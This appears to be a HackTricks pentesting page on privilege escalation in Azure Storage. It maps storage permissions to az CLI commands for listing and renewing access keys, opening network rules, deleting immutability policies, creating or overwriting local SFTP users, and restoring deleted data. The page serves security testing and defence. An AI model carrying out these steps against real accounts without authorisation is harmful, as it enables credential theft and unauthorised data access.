# Az - Storage Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Storage Privesc

For more information about storage check:

{{#ref}}
../az-services/az-storage.md
{{#endref}}

### `Microsoft.Storage/storageAccounts/listkeys/action`

A principal with this permission will be able to list (and the secret values) of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.

```bash
az storage account keys list --account-name <acc-name>
```

### `Microsoft.Storage/storageAccounts/regenerateKey/action`

A principal with this permission will be able to renew and get the new secret value of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.

Moreover, in the response, the user will get the value of the renewed key and also of the not renewed one:

```bash
az storage account keys renew --account-name <acc-name> --key key2
```

### `Microsoft.Storage/storageAccounts/write`

A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies.

```bash
# e.g. set default action to allow so network restrictions are avoided
az storage account update --name <acc-name> --default-action Allow

# e.g. allow an IP address
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
```

## Blobs Specific privesc

### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`

The first permission allows to **modify immutability policies** in containers and the second to delete them.

> [!NOTE]
> Note that if an immutability policy is in lock state, you cannot do neither of both

```bash
az storage container immutability-policy delete \
  --account-name <STORAGE_ACCOUNT_NAME> \
  --container-name <CONTAINER_NAME> \
  --resource-group <RESOURCE_GROUP>

az storage container immutability-policy update \
  --account-name <STORAGE_ACCOUNT_NAME> \
  --container-name <CONTAINER_NAME> \
  --resource-group <RESOURCE_GROUP> \
  --period <NEW_RETENTION_PERIOD_IN_DAYS>
```

## File shares specific privesc

### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`

This should allow a user having this permission to be able to take the ownership of files inside the shared filesystem.

### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`

This should allow a user having this permission to be able to modify the permissions files inside the shared filesystem.

### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`

This should allow a user having this permission to be able to perform actions inside a file system as a superuser.

### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`

With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data.

```bash
az storage account local-user create \
  --account-name <STORAGE_ACCOUNT_NAME> \
  --resource-group <RESOURCE_GROUP_NAME> \
  --name <LOCAL_USER_NAME> \
  --permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
  --home-directory <HOME_DIRECTORY> \
  --has-ssh-key false/true # Depends on the auth method to use
```

### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`

With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content.

```bash
az storage account local-user regenerate-password \
  --account-name <STORAGE_ACCOUNT_NAME> \
  --resource-group <RESOURCE_GROUP_NAME> \
  --name <LOCAL_USER_NAME>
```

To access Azure Blob Storage via SFTP (is_hns_enabled should be true) using a local user via SFTP you can (you can also use ssh key to connect):

```bash
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password
```

### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`

With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.

```bash
#Restore the soft deleted container
az storage container restore \
  --account-name <STORAGE_ACCOUNT_NAME> \
  --name <CONTAINER_NAME> \
  --deleted-version <VERSION>

#Restore the soft deleted blob
az storage blob undelete \
  --account-name <STORAGE_ACCOUNT_NAME> \
  --container-name <CONTAINER_NAME> \
  --name "fileName.txt"
```

### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`

With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.

```bash
az storage share-rm restore \
  --storage-account <STORAGE_ACCOUNT_NAME> \
  --name <FILE_SHARE_NAME> \
  --deleted-version <VERSION>
```

## Other interesting looking permissions (TODO)

- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action

## References

- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)

{{#include ../../../banners/hacktricks-training.md}}



